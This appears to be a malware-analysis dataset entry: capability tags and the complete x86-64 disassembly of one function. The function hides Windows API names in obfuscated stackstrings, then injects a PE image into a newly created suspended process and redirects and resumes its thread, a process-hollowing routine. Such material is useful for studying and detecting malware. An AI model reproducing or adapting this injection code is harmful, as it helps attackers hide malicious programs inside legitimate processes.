Function at 0x140015fd0
Capabilities:
Contain obfuscated stackstrings
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov rsi, rdx
mov r14, rcx
xor r13b, r13b
xor eax, eax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
mov ebx, 0xffffffff
mov dword [rbp - 0x50], ebx
lea rcx, [rbp - 0x50]
call fcn.140007a70
mov r15d, eax
xor dil, dil
movzx r12d, byte [rbp + 0xc8]
test r12b, r12b
je 0x1400160e3
call fcn.14004b560
mov rcx, rax
test rax, rax
je 0x1400164b3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x18], rax
movzx r9d, byte [rbp + 0xc0]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x38]
mov ecx, r15d
call fcn.140015990
test al, al
je 0x1400160bf
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400160bf
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
mov r15d, 1
mov dword [rsp + 0x20], r15d
lea r9d, [rbx + 3]
xor r8d, r8d
mov edx, 0x2000000
call fcn.14004f4b0
test eax, eax
je 0x1400160bf
xor r8d, r8d
mov rdx, qword [rbp - 0x38]
lea rcx, [rbp - 0x48]
call fcn.14004f5e0
movzx edi, dil
test eax, eax
cmovne edi, r15d
mov rdx, qword [rbp - 0x18]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
sub ebx, 1
jg 0x1400160da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test dil, dil
je 0x140016490
mov dword [rsp + 0x64], 0x32336c65
mov word [rsp + 0x61], 0x7265
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x60], 0x4b
mov byte [rsp + 0x63], 0x6e
mov byte [rsp + 0x6c], 0
lea rcx, [rsp + 0x60]
call fcn.140054960
mov rbx, rax
test rax, rax
je 0x140016490
mov dword [rbp - 0x79], 0x6f436461
mov dword [rbp - 0x74], 0x74786574
mov dword [rbp - 0x80], 0x54746553
mov byte [rbp - 0x70], 0
mov word [rbp - 0x7c], 0x7268
mov byte [rbp - 0x7a], 0x65
mov byte [rbp - 0x75], 0x6e
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401a9030], rax
mov word [rsp + 0x71], 0x7365
mov word [rsp + 0x77], 0x7268
mov word [rsp + 0x74], 0x656d
mov word [rsp + 0x7a], 0x6461
mov byte [rsp + 0x79], 0x65
mov byte [rsp + 0x73], 0x75
mov byte [rsp + 0x70], 0x52
mov byte [rsp + 0x76], 0x54
mov byte [rsp + 0x7c], 0
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401a9038], rax
mov dword [rbp - 0x5f], 0x636f7250
mov word [rbp - 0x65], 0x696d
mov dword [rbp - 0x5b], 0x737365
mov word [rbp - 0x62], 0x7461
mov word [rbp - 0x67], 0x7265
mov byte [rbp - 0x60], 0x65
mov byte [rbp - 0x63], 0x6e
mov byte [rbp - 0x68], 0x54
lea rdx, [rbp - 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401a9040], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x140016452
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x140016452
lea rdx, [rbp + 0xc8]
mov rcx, rsi
call fcn.14004f870
movzx eax, word [rdi + 4]
mov ecx, 0x14c
cmp ax, cx
jne 0x14001622c
cmp dword [rbp + 0xc8], 0
jmp 0x14001623d
mov ecx, 0x8664
cmp ax, cx
jne 0x140016243
cmp dword [rbp + 0xc8], 6
jne 0x140016490
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x10], xmm1
movups xmmword [rbp], xmm1
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp + 0x20], xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
mov qword [rbp + 0x50], rax
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x101
xor ebx, ebx
mov word [rbp + 0x30], bx
lea rax, [rbp - 0x30]
xor r9d, r9d
test r12b, r12b
je 0x1400162d5
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r8, qword [rbp + 0xa0]
mov rdx, rsi
mov rcx, qword [rbp - 0x40]
call fcn.14004f6f0
jmp 0x14001630f
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], r12d
xor r8d, r8d
mov rdx, qword [rbp + 0xa0]
mov rcx, rsi
call fcn.140053910
test eax, eax
je 0x140016452
mov ebx, 4
mov r9d, ebx
lea edx, [rbx + 4]
xor ecx, ecx
mov r8d, 0x1000
call fcn.140052660
mov r15, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rbp - 0x28]
call fcn.1400507f0
mov rcx, qword [rbp - 0x30]
test eax, eax
je 0x14001644a
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
lea r9d, [rbx + 4]
lea r8, [rbp - 0x18]
call fcn.1400509b0
mov eax, 0x40
cmp byte [rbp + 0xb8], 0
cmovne ebx, eax
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp - 0x30]
call fcn.140052740
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp - 0x30]
test rax, rax
je 0x14001644a
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r14
mov rdx, rax
call fcn.1400506f0
movzx ebx, word [rdi + 0x14]
add rbx, 0x2c
mov esi, r12d
cmp r12w, word [rdi + 6]
jae 0x1400163fd
add rbx, rdi
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r14
mov edx, dword [rbx - 8]
add rdx, qword [rbp - 0x50]
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x30]
call fcn.1400506f0
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x1400163d0
mov rdx, qword [r15 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x50]
mov rcx, qword [rbp - 0x30]
call fcn.1400506f0
mov eax, dword [rdi + 0x28]
add rax, qword [rbp - 0x50]
mov qword [r15 + 0x80], rax
mov rdx, r15
mov rcx, qword [rbp - 0x28]
call qword [0x1401a9030]
mov rcx, qword [rbp - 0x28]
call qword [0x1401a9038]
mov r13b, 1
jmp 0x140016452
xor edx, edx
call qword [0x1401a9040]
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x140016468
call fcn.140054440
xor ebx, ebx
mov qword [rbp - 0x48], rbx
jmp 0x14001646a
xor ebx, ebx
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14001647c
call fcn.140053490
mov qword [rbp - 0x40], rbx
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14001648a
call fcn.140053490
movzx eax, r13b
jmp 0x140016492
xor al, al
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 0x80004005
call fcn.14001eef0
int3